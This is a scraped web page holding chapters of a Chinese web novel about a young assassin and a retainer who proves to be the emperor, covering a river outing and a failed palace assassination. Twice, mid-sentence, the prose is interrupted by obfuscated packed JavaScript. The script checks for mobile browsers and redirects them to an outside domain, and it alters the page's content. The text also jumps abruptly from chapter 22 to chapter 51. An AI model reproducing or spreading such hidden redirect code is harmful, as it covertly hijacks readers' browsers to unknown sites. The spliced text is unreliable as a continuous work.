涧下坊的百姓大多来着中原翼洲,说的翼洲话让赢秀有种莫名的亲切感,仿佛曾经在哪里听过。 还没等他琢磨出这种感觉从何而来,沅水附近三百里的河道一夜竣工,涧下坊的渡口也一日一日地变高,变宽。 沿岸钉上一道道缆桩,栈道铺地而起,崭新的码头矗立在滔滔不绝南下的沅水中。 码头上旌旗飘扬,上面用金色的字写着十六渡。 ——赢秀的名字写在最前头。 十五个儒生争执了这么久,最终却默契地将赢秀的名字题在了第一位。 十六渡正式竣工这一日,十五个儒生不约而同地换上新衣,拖家带口而来,有意让亲朋好友见识一下自己的名字。 他们指着上面的旌旗讨论得热火朝天,都说自己功劳不薄。 见到赢秀时,儒生们正穿着雪白冠履,坐着各自雇来的舟上,朝他招手,都争着请他上自己的蚱蜢舟一同饮酒, 他们的舟都有同伴,赢秀无意登船,笑着婉拒。 赢秀穿着金裳,独自一人慢慢走着,笑着和一张张带笑的面孔擦肩而过,突然想起应当把自己的亲朋好友也叫来,一同登上渡口,泛舟沅水。 不知谢舟是否有空…… 在他的印象中,他寄住在客舍这几日,门客似乎总是很忙,忙于案牍,从未主动来见他。 这段日子赢秀忙着整理海匮阁的卷牍,看得乐不思蜀,也忘了主动去找门客。 他心里头还有一个疑问,藏了很久,想找谢舟问一问。 谢舟似乎从来不会拒绝他的邀请,听闻赢秀要带他一同泛舟,先是一愣,随后点头应允。 远处群山峭蒨,近处绿水湛然,一碧万顷,渡口上人来人往,有纤夫呼号,钓叟叫卖。 旌旗在半空中飘飞,飘过一重,远处浪涛便掀起一重,秋风声江水泱泱南去。 赢秀走在这里,时不时看一眼身旁的谢舟,晴空如洗,天光辉映,白衣门客更显琼华皓质,洁白冰冷,艶美与危险交织,让他的心怦怦直跳。 谢舟很好看,是他此生见过最好看的人。 世无其二,世间唯一一个谢舟。 少年偷看总是不知道掩饰,亦或者,他根本就是光明正大地看。 走在前面的门客骤然停下脚步,跟在后面的赢秀还没停下,险些当头撞了上去,少年捂住脑袋,抬头控诉他:“谢舟!你干嘛停下呀。” 谢舟顺势伸手抚摸他的头发,少年用金绫扎着高马尾,金绫混在发尾里一晃一晃的,原本有些枯黄的发质已然变好了许多,渐渐有了些光泽,此刻正柔软地依偎在他手掌下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845733|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把刺客养得很好,这个认知让门客莫名有些愉悦。 只是似乎还不够。 刺客身边有很多人,这个渡口上来来往往的百姓都会朝他打招呼,那十五个儒生明明在江上,却还是划着舟过来呼唤赢秀,还有那个年轻的王氏子弟…… 太多人了,门客几乎要数不清了,他也懒得去数。 有这张皮囊在,那些人都不算什么。 这幅原本让他厌恶,恶心的皮囊,竟然为他带来了这样的好处…… 门客轻轻弯了弯唇,眼底没有笑意。 “我们也去划舟吧!”赢秀熟练地从门客的手掌下钻出来,拉着他雪白的袍裾往前跑去。 十七岁的少年跑得很快,金色的袖袂鼓满了风,像一只轻盈灵动的鹤,自由地朝水边飞去。 谢舟被他带着来到栈道,这里挤满了小舟大船,钓叟提着鲜鱼兜售,满头白发的艄公在河边叫客。 那些艄公见到赢秀,惊喜地睁大了眼,更有甚者跳下船包围他,热情地招呼他:“小恩公!坐我的船!我不要银子!”“你一边去,怎么可以不要银子,小恩公坐俺的舟,我给你银子!” 卖鱼的见到赢秀,连忙围拢过来,双手提着活蹦乱跳的鲜鱼,迸溅着水珠,“恩公!这两尾鲮鱼你拿去煮了,若是不够,到时候我再给你送。” 早早采莲蓬归来的大娘也挤了上来,捧着竹篓,里面全是刚剥好的莲子,“恩公看看我,莲子清心,你就当零嘴吃。” 赢秀有些手足无措,叫他提剑杀人,那容易,要他接受别人的好意,那可有点难办。 何况这些东西都是他们用来卖银子,换取米面的,他怎能拿人家的东西。若是不拿,又拂了他们的好意。 “诸位的好意赢秀心领了,还请让让。”青年的声线冰冷彻骨,分明态度和缓有礼,却叫人没来由地发怵。 众人这才注意到小恩公身边的郎君,一身白衣,清冷出尘,气质矜贵淡漠,无端让人畏惧,两膝颤抖莫名地想要跪下。 出于对危险的直觉,十六渡的百姓先是安静了一瞬间,随后迅速散开,临走时还依依不舍地望着赢秀,试图让他收下自己的东西。 最终赢秀从采莲娘子手中拿了一株小小的莲花。 他转头将莲花递给谢舟,眼睛亮晶晶的,等待着对方的反应。 小小的一株莲花,没有竹楼外的接天莲叶漂亮,静静地绽开花瓣,柔软地躺在手心里。 透过花瓣的罅隙,低眉能看见少年明亮的笑眼。 白衣门客捧着小小一株花,低声道:“我很喜欢。” 少年捂着脸,别过头去不看他,忽而径直钻进最近的篷船里,像只灵快的鹤,金色的袍裾和乌黑发丝在追着他。 船头的艄公一脸惊喜,骄傲地朝附近羡慕嫉妒的艄公抬起下巴。 一切都显得那么轻盈,美好。 门客在原地静了片刻,直到少年从船篷里钻出一个脑袋伸手朝他招呼,他才如梦初醒,缓慢登船。 22.第 22 章 秋光淡沲,江水明净,蚱蜢舟浮在江面,近处是绿水逶迤,远处是青山岑蔚,天地辽阔。 赢秀跽坐在船头,乌黑髯发在江风中流逸,两鬓的碎发吹拂过他的面颊,发间两挑金绫轻轻浮动。 少年回过头,露出一双璀错明亮的眼眸。 “谢舟,这里好凉快。”赢秀一面偏头看谢舟,一面伸手拨弄着绿莹莹的江水,拨乱了一片水中山色。 他纤细的指尖也变得湿漉漉的,像玉,又像瓷。 手上那些细碎的伤痕显得格外显眼,有刀伤,又有剑伤,清晰地映在白衣门客眼底。 谢舟没问这些伤口是怎么来的,身为一个刺客,受伤也是情理之中。 但他莫名觉得有些碍眼,朝赢秀伸手,赢秀下意识把手递了过来,被谢舟一把攥住,揭开金色袍裾,露出细白的手腕。 上面的伤痕已经褪了色,一道道细白的伤口,刻在肌肤上,很刺眼。 没有想到谢舟会突然看他的手臂,赢秀吓得想要把手抽出来,却发现对方的手掌竟然纹丝不动,难以撼动分毫。 凭心而论,谢舟的手很漂亮,匀称修长,骨节明晰,一片苍白里潜藏着勃发的青筋,只是轻轻扼住他的手腕,凸起的指节微微陷进肌肤里,便让他动弹不得。 贴得这样的近…… 赢秀莫名地慌乱,一面暗自使劲试图抽出自己的手,一面故作镇定地解释道:“这些都是我不小心摔的,小时候在山里长大,经常摔跤……” 摔跤摔出了剑伤,刀伤,还有箭镞划过的伤痕。 对方攥着他的手腕,静静地垂眸看他,漆黑幽冷的眸瞳一片平静,看不出是信了,还是没信。 被谢舟看得有些发怵,赢秀率先败下阵来,有意转移话题:“当初第一次见面,你说想看看我如何用轻功横渡沅江,不如现在给你看看。” 相识是立秋,如今已是秋末,转眼便是冬至。 少年暗地里使劲,想要缩回手,不等他继续用力,谢舟骤然松开手,视线落在赢秀手腕上一圈红印子上,目光晦暗,不知在想些什么。 赢秀连忙放下袍裾,将手臂掩得结结实实的,流金袖袂垂落,彻底遮住微微泛红的手腕。 他在心里嘀咕,谢舟的手劲怎么这么大,比他这个刺客还要有力。 看来也是当刺客的好料子。 沅水上三三两两泊着白鹭,水面如镜,下一刻骤然泛开一圈细微涟漪—— 少年轻捷地越过船头艗首,足尖点在水波之上,金色袖衫飘逸如流风回雪。 行在江面上,竟也如履平地。 天地间横着一条大江,江上一个少年来去自如。 船头撑船的艄公惊得险些握不住手中的船桨,张大了口,痴痴地看着这一幕。 白衣门客屹立在艗首前,看着江上白鹭与鸳鸯扑翅四散,泛着波光的江水上缓缓起伏,少年玩得不亦乐乎。 ——青山看不厌,流水趣何长。 他骤然想起了这句诗。 长风吹起谢舟雪白冰冷的袍裾,吹袖如雪,吹得乱云层叠。 他依旧静静地立在舟中,立在天地波光水色之中,岿然不动。 俯身将吓得乱游的小白鹭放在大白鹭的背上,赢秀满意地拍了拍手,回首朝蚱蜢舟望去。 一眼便看见了立在舟首的门客,清冷,萧肃,孤身静立舟中,像是一抹亘古的明月。 赢秀越过水波,径直朝他的明月而来。 少年再度踏上轻舟,身姿轻盈,束发的金绫晃动,一摇一摇的,漾出金光,很是晃眼。 “谢舟!”赢秀眼睛亮亮地叫他,在谢舟面前转了个圈,衣摆像花散开,叮呤当啷地响。 漂亮,骄傲,像一只昂首挺胸的金鹤,向人展示自己的羽毛。 “方才你可曾看清楚了?我在江面上飞来飞去,这轻功可不是一般人能学会的。”赢秀念叨着,脸上都是骄傲。 少年灵秀青涩,骄傲自豪,满心满眼等着对方夸赞自己。 目睹了这一切的艄公默默低头,小恩公年少意气,在喜欢的人面前来了一回轻功水上漂,横渡江水,只盼着对方夸他一句。 那个清冷淡漠的白衣郎君方才静静看了小恩公许久,几乎是目不转睛。 两人显得既亲近,又疏离客气,氛围极其古怪,似乎只有一步之遥,又似乎相隔万水千山。 情之一字,他们还不曾开悟。 “很厉害,我从未见过如此卓绝的轻功。”谢舟的声线一如既往的温凉平静,响在耳边,却叫赢秀骤然红了脸。 他看不见自己脸红了,只知道面颊微微发烫,烫得他想找个地洞钻进去。 明明心里想要谢舟夸他,但是真的听见对方开口赞许,他又觉得好难为情,羞得不敢直视谢舟的目光。 “——真的吗?”话一说出口,赢秀才发觉自己问了一个很蠢的问题,他小心翼翼地掀起长睫,偷偷摸摸地观察谢舟的反应。 “自然是真的,”谢舟声音很轻,评价道:“像一只鹤。” 一只灵秀的鹤,生于江波浪涛之中,无拘无束。 分明没有系绳,却甘愿飞回他的手中。 像鹤? 想起那两只一大一小,依偎在一起的白鹭,赢秀只当谢舟在夸他,他犹豫片刻,主动谈起生平事:“我从前在山野长大,轻功是爹爹教我的,从小爹爹就告诉我,遇到危险要跑得够快,不可停留。” 说来好笑,他当初学习轻功,只是为了遇险时逃得更快。 他记得小时候一直在逃,从一座山逃到另一座山,但凡附近出现一点人烟,爹爹便会背着他搬家,搬进更深的大山里。 悬镜司查到的消息,赢秀是侨姓流民出身,永宁八年救下王守真,此后暂住在徐州广陵琅琊王氏的府邸两年之久,再后来便成为刺客。 至于永宁八年之前,赢秀究竟身在何方,又在做什么,无迹可寻。 见他主动提起,谢舟眸光闪动了一下,不动声色地询问:“令尊如今身在何方?” 赢秀摇了摇头,目光变得有些黯然,当年他为了救下鉴心,用木剑伤了人,被爹爹撞见,骂他不该救这些士族子弟,更不该接触世外的人,将他赶下了山。 那年他才十三岁而已。 谢舟没有再问。 一时间,两人静静地坐在蚱蜢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848071|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟上,聆听沅水上的涛声水声风声,以及天穹上白鹭拍翅声。 远处飘来深深浅浅的云翳,慢慢遮住晴空,一滴雨点落在江面上,激起一圈水波。 风吹来,轻轻地振响蚱蜢舟上的尖角檐,细雨绵绵如丝,轻轻刮过小舟。 秋雨轻柔绵密,肉眼甚至看不见有雨,只能看到江面上雾气沆砀,天地间骤然蒙上一层白茫茫的水雾。 雨点顺着少年清秀的面颊往领襟里淌,打得领襟湿软地垂落,贴在锁骨上,勾勒出一点起伏的肌骨。 他终于如梦初醒,披着雨钻进船篷里,招呼谢舟也进来。 船篷不算大,坐着两个人,显得有些逼仄,赢秀与谢舟面对面而坐,忽而往外探头,招呼艄公也进来避雨。 艄公已经披上蓑衣,戴上斗笠,面对赢秀的邀请摆了摆手,坚决地拒绝。 两个有情人在一块,他怎好挡在他们中间。 见艄公怎么也不肯进来,赢秀也不好强人所难,只好坐回船篷里。 船篷昏暗,两侧的雨丝细细地斜进来,落在脚下,湿漉漉的。 一片寂阒中,雨声淅沥。 “啪嗒——” 一个东西骤然从赢秀袍裾里滑落,是一册卷牍,滑落在湿漉的船舱底下,滑到了谢舟面前。 赢秀连忙俯身去捡,谢舟已经将其拾起,正要递还给赢秀,动作骤然一顿,目光落在简牍上方的书名上。 ——禁谈风月。 一个容易让人误会的名字,而且赢秀还随身携带。 谢舟握着卷牍,当着少年的面缓缓解开了捆带,卷牍一节节散开,露出上面的图案。 …… 气氛骤然凝固。 赢秀浑然不觉,伸手就要拿回去,还不忘解释道:“这是我在海匮阁发现的,似乎是传授剑招的,只不过上面都是双人剑招,没有单人的。” 自然没有单人的,若是单人,那该叫作…… 谢舟牢牢攥着卷牍一角,全然没有还给赢秀的意思,居高临下地审问他:“你为何随身带着?” 到底是和谁学的?又是谁妄图想要带坏赢秀? 倘若被他发现—— 门客暴虐的思绪被少年的清亮的声音打断,“说起这个卷牍,我有一处不解想要问你,” 赢秀下意识朝谢舟这边探身,脸上有些忐忑,迟疑了一下,指尖攥着卷牍一角,细白的手指挡住了那些浓墨重彩的图样。 “这书上讲的是一对少年相知相许的故事,从年少到耋老,他们每日住在一个屋檐下,一起用膳,一起切磋……” 少年的声音紧张得发抖,他虽然对这本禁谈风月不解其意,也能隐约意识到即将说出的话有多么惊世骇俗。 “书上说,”赢秀深吸了一口气,“他们这样叫做眷侣,” 说到这儿,他停顿下来,似乎有意看一看谢舟的反应,倘若对方给出一点不好的反应,他便会立马退缩,从此再也不提。 谢舟只是静静凝视着他。 也许过了一瞬间,又或许整整一刻钟,天地间,风声雨声都停歇了。 赢秀终于听到谢舟轻声道:“继续说。” 50-60 第51章 第 51 章 你确实很好看,但我看腻…… 天欲破晓, 静室的窗棂霍然被推开,少年翻窗闪入屋中,换下一身黑衣, 剑上寒气森森。 赢秀草草沐浴了一番, 好不容易才洗去一身的血腥气, 刺杀皇帝异常凶险, 参与此行动的刺客不得不通过厮杀来提高默契。 他今夜没有受伤,身上的血迹都是别人的。 赢秀坐在胡床上, 湿漉漉的漆发低垂, 水汽沿着颈后往下滴落,他用软帕慢慢地擦拭湿发, 对着扇车简单吹干后,胡乱给自己扎了一个马尾。 他自己给自己扎的头发,总是不如谢舟给他扎的好看。 赢秀对着铜镜,笨手笨脚地模仿谢舟的手法, 尝试了几次,终于以失败告终, 收获了一头乱糟糟的头发。 他有些气馁,懒得和头发做斗争,仰头躺倒在胡床上。 过了小半响,胡床上的少年慢慢睡着了, 手脚蜷缩着, 像一只虾米,肌肤雪白,柔软的黑发乱七八糟地束在脑后,铺成漆黑扇形,束发的金绫垂落在床沿。 槅门无声敞开, 一道阴影缓缓覆盖住睡得正香的少年,来人弯下身,伸手给他盖上被子。 黑影迟疑了一下,坐了下来,动作小心地解开赢秀头上凌乱的发带,让鸦发散了满怀。 睡梦中的少年似乎感觉到什么,习惯性地朝他靠拢,清癯身子挪了又挪,直到缩进他的怀里。 黑影一顿,身体有些僵硬,随后缓缓将他揽进怀中,就像从前那样抱着他。 赢秀做了一个美梦,他梦见自己和谢舟睡在一张床上,他抱着谢舟,啃了又啃。 谢舟一点也不反抗,十分温顺地任他四处乱啃。 后来,这个梦骤然变成了噩梦,他梦见自己的手被发带捆了起来,动弹不得,有东西抵着他,棱角分明,冷硬锋锐…… 赢秀大汗淋漓地醒来,他身上的亵衣湿了,黏糊糊地裹着身体,难道是昨夜没有吹干? 他有些想不通,坐在床上发了老半天的呆,爬起来准备再沐浴一回。 刚爬下床,赢秀骤然想起什么,拉开雪白单薄的袍裾,露出手腕,低头一看,上面什么痕迹也没有。 他凑近闻了闻,发现手腕上泛着一股淡淡的香气,像是涂了什么药膏。 ——这是谢舟的家,谁能溜进来? 赢秀心大,没放在心上,只是沐浴时忍不住往下多看了几眼,他怎么觉得,好像有点泛红,难不成是训练的时间擦伤了? 刺客从不在意自己身上的伤痕,何况这些连伤都算不上,他只当是自己的错觉,每夜照样去训练。 府上的氛围很不对劲,就连年纪最小的僮客都发现了,公子已经有好几日没有来找过陛下了,准确来说,自从他们分居之后,他们再也没有见过面了。 陛下还是那般平静淡漠,脸上看不出丝毫情绪,着实难以揣测他的心思。 至于公子,他一直闭门不出,白日待在静室里睡觉,晚上无声无息,不知去向。 直到僮客找上赢秀,赢秀才发觉已经有很久没有见过谢舟了,他掰着手指数了一下,发现竟然有足足七日没有见过谢舟。 僮客提议他主动去找谢舟,赢秀犹豫了一下,“我每日都梦到他。” 这七日来,他每日都能梦见谢舟,绵长的,溺水般挣不脱的梦境。 他只能一直往下坠,然后在色授魂与的湿浥中,汗津津地醒来。 这很奇怪,纵使迟钝如赢秀,他也发现了。 难道这就是日有所思,夜有所梦,古人诚不欺我。 思索良久,赢秀还是拒绝了僮客的提议。 如果刺杀成功,他们还有一辈子的时间可以相伴,如果刺杀失败…… 多见一面,少见一面,又有什么区别? 不过徒增怅然罢了。 令赢秀没想到的是,门客竟然主动来找他了。 他打开静室的槅门,望着立在门前的清冷身影,不知为何,一时竟有些慌乱,“谢舟?你来了。” 少年声音干涩,有些慌乱,像是并不期待他的到来。 谢舟鸦黑眼睫轻轻颤动了一下,低低垂落,看着他,“你说的话还作数么?” 对方开口第一句便是平静的质询,赢秀更加慌乱了,结结巴巴道:“什么?” 他想起自己在祈福纸上写下的心愿—— 想要和谢舟一直在一起。 ……难道,谢舟说的是这个? 赢秀莫名心虚,他还在安慰自己,刺杀结束之后,就和谢舟远走高飞,好好过日子。 足足比他高了一个头的门客静静地屹立在他面前,投射的阴影密密地包裹着他,目光冷静,不带一丝感情地俯视他。 门客的声音依旧温和,带着耐心,循循善诱:“你之前说,想要走我小时候走过的路,” 他问:“你现在还想吗?” 赢秀愣了愣,这段时间忙着高强度的训练,他回来倒头就睡,竟然把这些也忘了。 当着谢舟的目光,他实在不忍心说不想,犹豫再三,缓缓点了点头。 赢秀出门带上了皂纱,看上去有些鬼鬼祟祟的,门客站在他身边,两个人在府外的田垄上慢慢地走。 建康城,天子脚下,寸土寸金,为何会有田垄? 赢秀压根就没发现不对劲,不知不觉拉上了谢舟的手,十指相扣,一步一个脚印地走着。 远处古树参天,脚下连阡累陌,树荫低覆,鸟鸣喈喈。 少年忘了要和谢舟拉开距离,下意识问道:“谢舟,哪一处是你走过的路?” 他没有立刻得到身侧之人的回应,侧首一看,谢舟正在望着他。 门客的眼眸极其幽深,远看一片漆黑,细看湛若冰玉,黑白分明,如玉两色。 赢秀毫无准备地撞入这样一双眼眸,不免有些面红耳赤。 “赢秀,”谢舟自始至终不曾移开目光,视线凝在赢秀身上,“有什么,你不妨直说。” 只要坦诚,信任,毫无保留地向他敞开,他会给赢秀他想要的一切。 赢秀莫名看懂了谢舟的意思,他迟疑不决,眸光颤动,不再与谢舟对视,转而看向远处。 回去的路上,赢秀只是望着沿路的风景,并不看身侧的谢舟。 京师的楼台风帘后,高处影绰可见仕宦少年的身影,男女皆有,王嫱楚女,姿若春晓。 赢秀望着天边的云发呆,谢舟却循着他放空的视线,在高楼上看见了一群少年人的身影。 绮纨之岁,笑声如铃。 门客垂眸看了一眼自己的手掌,悬腕若冷玉,指节凸出,指腹覆着细茧,青筋隐约可见。 这俨然不是一双少年人的手。 赢秀总感觉谢舟怪怪的,说不出原因,仔细瞧,似乎与往常也没什么两样。 很快,他就顾不上探究谢舟身上的变化了,鸱鸮停在肩膀上,信条在灯下迅速烧成了灰烬。 ——明日行动。 赢秀必须要和谢舟告别了,倘若临行前不说清楚,万一他死了,谢舟还在等他,那可如何是好。 听到赢秀要打听谢舟的去向,僮客显然很高兴:“郎君就在水榭里,我这就带公子去。” 将近入夜,水榭里早已点起了灯,灯影投入湖中,连带着长亭的影子,一同倒悬在明镜似的水底。 南朝多雨水,纵使此时还未下雨,四面依旧烟雨湿浥,如同行在溟濛雾中。 引路的僮客停了下来,将手中的琉璃灯交给赢秀,驻足不前,意思很明显,接下来的路,赢秀要一个人走。 金裳少年接过了琉璃灯,煌煌灯影变换流转,映照他衣裳上的华美缀饰。 也是奇怪,往常一走路便会叮呤当啷,响个不停的公子,竟然一路默然,听不见点响声。 僮客望着赢秀清癯秀颀的身影,缓缓退了下去。 赢秀走得很慢,他沿着水径一路走,一路望着两侧湖面下的游鱼,青藻。 湖水空明,一眼便能望穿,十七岁的少年走走停停,望了许多眼。 湖心亭就在眼前。 赢秀抬起头,看见亭中有人在等他。 门客端坐着,怀里抱着箜篌,低眉调拨琴弦,和初见时一般无二。 心跳得很剧烈,赢秀每走一步,都像是踩着自己的心跳,蓬勃跳动,声如擂鼓,又仿佛下一刻便会冷却,死寂。 “谢舟,” 赢秀站在湖心亭外,灯影疏淡。 门客抬眸望向他,眼眸平静,在等他开口。 漱冰濯雪般的眼神,仿佛早已看穿他的来意,赢秀被心内的想法轻轻戳了一下,灯影微晃。 “我……” 赢秀望着灯影,望着湖水,偏偏不看谢舟。 他破罐子破摔,不管亭中抱琴之人究竟会如何作想,快速地说出酝酿已久的说辞: “你确实很好看,但我看腻了,我们暂时分开一下。可以吗?” 少年很礼貌,几乎是小心翼翼地请求,请求和他分开。 门客深深看他,良久,终于点头:“嗯。” 对方声音很轻,被一阵江风送到赢秀耳边,他愣住了,不敢相信竟然如此顺利,谢舟轻而易举答应了。 答应和他分开。 轰的一声。 脑袋陡然一阵嗡鸣,思绪混乱,赢秀站在亭外,手里的琉璃灯坠在地上,裂成了一地流光。 他如梦初醒,蹲下身,手忙脚乱地捡起碎片,慌乱道:“灯,灯钱我会赔给你的。” “……不用了。” 白衣门客语气疏远。 赢秀捡起碎片,没有再看湖心亭中的人一眼,转身便走。 一路漆黑,来时的灯已经碎了满怀。 第52章 第 52 章 掉马(文案回收) 赢秀低着头, 跌跌撞撞地走着,没有看路,幽魂似地一直往前。 直到指尖传来尖锐的刺痛, 他失神的眸瞳才稍微聚焦, 目光落在自己的手上, 琉璃灯的碎片静静躺在他的手心里。 豁口锋利, 闪着微光,有几道已经扎进皮肉里。 饶是如此, 他依旧没有放下碎片, 固执地抱着满怀晶莹,漫无目的地走着。 沿路的僮仆看见赢秀失魂落魄地从水榭的方向走出来, 骤然察觉出些许端倪,正要上前搀扶他。 金裳少年下意识退开两步,目光清明了许多,“我要走了, 还请帮忙转告府上郎君。” 僮仆愣了下,迅速收敛惊讶, 什么也没问,语气客气温和:“公子,可需要我们给您准备马车?” 赢秀没有说话,摇了摇头, 出于礼貌, 对他笑了一下。 一个很淡的笑容,乌黑湿润的眼眸略微弯了弯,连带着眸底的泪光也跟着轻轻闪动。 下一刻,那笑容消失了。 少年毫不犹豫地转身离开,他的东西早就收拾好了, 拿了就能走。 包袱很轻,里面没什么东西,赢秀肩后负剑,一手提着包袱,一身黑衣,走出门客的府邸。 那些漂亮的,叮呤当啷的衣裳,都不属于他,他一件都没有带走。 出于私心,赢秀带走了一样东西,一条金色的发带,这是谢舟送给他的。 他还记得,在逼仄的车厢里,他躺在门客的怀里,门客用这条发带为自己束发,以手为梳,动作轻柔,一下一下地梳着他的长发。 将发带妥帖地收进窄袖中,赢秀孤身走在漆黑无光的长街上,沿路的悬灯映照着他单薄的身影。 一道黑影扑朔着翅膀,落在他肩膀上,一人一鸟安静地往前走。 在他身后,府邸的朱门迟迟不曾关上,两扇门敞开着,僮客提灯立在两侧,默默望着那道渐行渐远的身影。 不知走了多久,赢秀钻进窄巷,在无人处用轻功飞上檐顶,一边走,一边从包袱里取出覆面,戴在脸上。 同行的刺客早已等候在宫阙外,领头的上峰轻轻做了个手势,一众刺客压低身形,迅速潜进禁宫。 赢秀是这群刺客中年纪最小,武功最高的,被安排成刺杀的主力。 其余人负责给他吸引火力,分散当夜值守的禁军宿卫。 时机未到,赢秀挑了一处偏僻的宫殿坐下,夜风习习吹来,不时吹动他鬓边的发丝。 他耐心地等待着,心里默数着,一息,两息…… 上峰说了,他们费尽心思探得秘辛,当今皇帝身有顽疾,会在天冷时发病。 现在恰好是冬末,不出意料,今夜会有一场雪,是永宁十二年最后一场冬雪。 朔风卷起云雾,吹得刺客漆黑的衣袂猎猎轻响,铺天盖地的乱琼碎玉,纷落而下。 下雪了。 没来由的,一个念头闪过赢秀心间—— 谢舟会冷吗? 雪下得这么大,他会不会冷? 问心剑出鞘,明净锋利的剑身倒映着少年刺客在长风中凌乱的发丝,柔软的,绸缎一般,舒卷着,仿佛要随着风一同飞走。 再往上,是紧抿的唇,岑寂清澈的眼眸。 不知过了多久,远处遥遥传来一声唿哨。 赢秀不再迟疑,擦去剑身上的落雪,指尖多了一层森寒的霜,寒凉,幽冷。 太极殿,皇帝居住的寝殿。 刀剑乱成一片,烛火被带起的罡风扑倒,几番明灭。 赢秀不记得自己伤了多少个禁卫,也不记得自己挨了多少下,同行的刺客更是死伤惨重。 鲜血一直流到他眼前,分不清是谁的,可能是同伴的,也可能是守殿禁军的,亦或者是他的。 黑衣浸透了血,袖袂沉甸甸的,拖着赢秀的动作。 他的剑依旧那么快,只等着那位年轻暴君的出现,按照原本的安排,应当有人侦查皇帝的下落,见到皇帝出现,再行刺杀。 可是,现在都过了足足半刻钟,依旧不见皇帝的身影…… 电光火石间,赢秀什么都明白了,皇帝早就知道他们要前来刺杀,特地设下埋伏,只为伏杀他们这群刺客。 “砰——” 剑身和兵戈剧烈撞击。 赢秀挥剑挡下一击,疾声喊道:“快撤!” 同行的刺客惨淡地摇了摇头,“我们走不了了。” 从一开始,无论是成是败,他们只有一个下场。 那就是死,死在禁宫里,或者是归程的路上。 寒光迎面而来,赢秀横剑打落一片,剑势还来不及提起,瞬息之间,迅速侧首,眼睁睁看着从寒芒从殿外疾射而来。 生生洞穿一名刺客的颈项。 红,鲜艳诡谲的红喷涌而出。 眼前一片朦胧,视野黯淡,仿佛蒙上了一层绮艳的雾。 赢秀无暇抹掉眼前的鲜血,眨了一下眼,持着剑,在雾中继续穿梭。 殿外满是持箭的禁军,铁甲寒衣,宛如地狱阎罗,密密麻麻地林立在黑暗中。 眼下的情形,无异于瓮中捉鳖,而他们就是被捉的鳖。 所幸太极殿很大,足够他和剩下的同伴各自找到藏身之地。 赢秀缩在角落,攥住手心的问心剑,发丝都浸透了血,湿漉漉地耷拉在清凌凌的眉骨上。 漆黑的袖子一片沉凝,似乎少了什么,赢秀极其小心地掀开衣袖,发现里面的发带不见。 他屏住呼吸,左右张望,在不远处发现了一抹金色,发带孤零零地躺在宫殿地上,上面沾了不知是谁的血。 距离不算远,且四面死寂,殿外的禁军毫无动静,殿内一片黑暗,难以视物。 赢秀伸出指尖,伸手去够那条发带,他低着头,勉强勾到发带,远处有个什么圆圆的东西滚了过来。 他拉住发带,下意识用余光看去一眼,是一颗头颅,是一个刺客的头颅。 赢秀认得那人,那是他的上峰。 上峰脸上是他从未见过的表情,神情惊恐,五官扭曲,眼里满是恐惧,仿佛见到了生平最可怖的东西。 噗嗤一声。 大殿内的琉璃灯瞬间亮起,灯影煌煌,每一盏明灯,每一道华丽灯影,都在映照着少年刺客的踪迹。 满殿煌煌琉璃灯下,他的踪迹显露无遗。 天罗地网,无处可逃。 赢秀手里攥紧了那条发带,另一只手握着剑,腕骨在轻轻发颤。 地上,上峰的头颅还在望着他,透着万分恐惧。 不远处,似乎有人正在不紧不慢地朝这里走来,脚步声并不收敛,也不刻意加重,在满殿血腥中,风轻云淡,宛如闲庭漫步。 一步,两步…… 每一步赢秀都听得异常清晰,胸膛深处的心脏一下一下地跳动着,越来越急促,仿佛下一刻就会鲜血四溅,四分五裂。 就像焰火,升至极点,便会裂成一绺绺长长的碎片。 莫名的,死亡近在咫尺,赢秀却想起了寒衣节和谢舟看到的焰火。 多漂亮呀,有明灯浩海,光转九天。 白衣门客就立在他身侧,咫尺之间,手里提着他送的雪灯,在人海中,独独凝望着他。 华灯,焰火,白衣,门客…… 浮光掠影似地流逝,只剩下眼前亮得晃眼的琉璃灯。 脚下的太极殿像是一只眉目肃穆的庞然怪物,阴森可怖,静静地等着将他吞入腹中。 脚步声渐渐近了。 就在经过他藏身之地时,骤然停了下来。 ……来人是谁? 禁军?皇帝? 神经紧绷得如同即将崩裂的弦,赢秀终于想起自己忘了什么,他解下覆面,举起剑,横在脸侧—— “赢秀。” 温凉的,熟悉的声音,自头顶传来。 剑身微颤,少年刺客仰起头,看见那位暴君正在居高临下地俯视他。 九龙衮服,冠帻清冷,漆黑冕旒下是熟悉的眉眼。 对视的刹那,赢秀心跳骤停,脑袋骤然轰鸣,力气顿失,险些连剑也握不住了。 传闻中心狠手辣的君主,竟然和门客长得一模一样。 少年刺客满脸失神,漆黑如墨的发丝凌乱不堪,半跪在地上,眼眸里倒映着他的影子。 震惊,凌乱。 看上去很可怜。 赢秀全然不知自己有多狼狈,浑身几乎浸在血泊里,身侧是上峰的头颅,他思绪一片混乱,像是被揉碎了,碾成灰烬。 眼前一切都是如此的诡谲离奇,门客,皇帝,谢舟,殷奂,这两个名字不停地在脑海中回溯撕扯…… 一条寒江,一轮月光,白衣青年抱琴而立: “谢舟,健康人士。” 谢舟,南朝建康人,建章谢氏的门客。 错了,错了…… 谢舟从未说过,他是建章谢氏的门客。 赢秀颤抖着,慢慢低下头,他颤得厉害,就连修长的颈项也跟着细细地颤。 记忆不断回溯。 “你有什么目的?” “给你的东西,你要用……知道吗?” 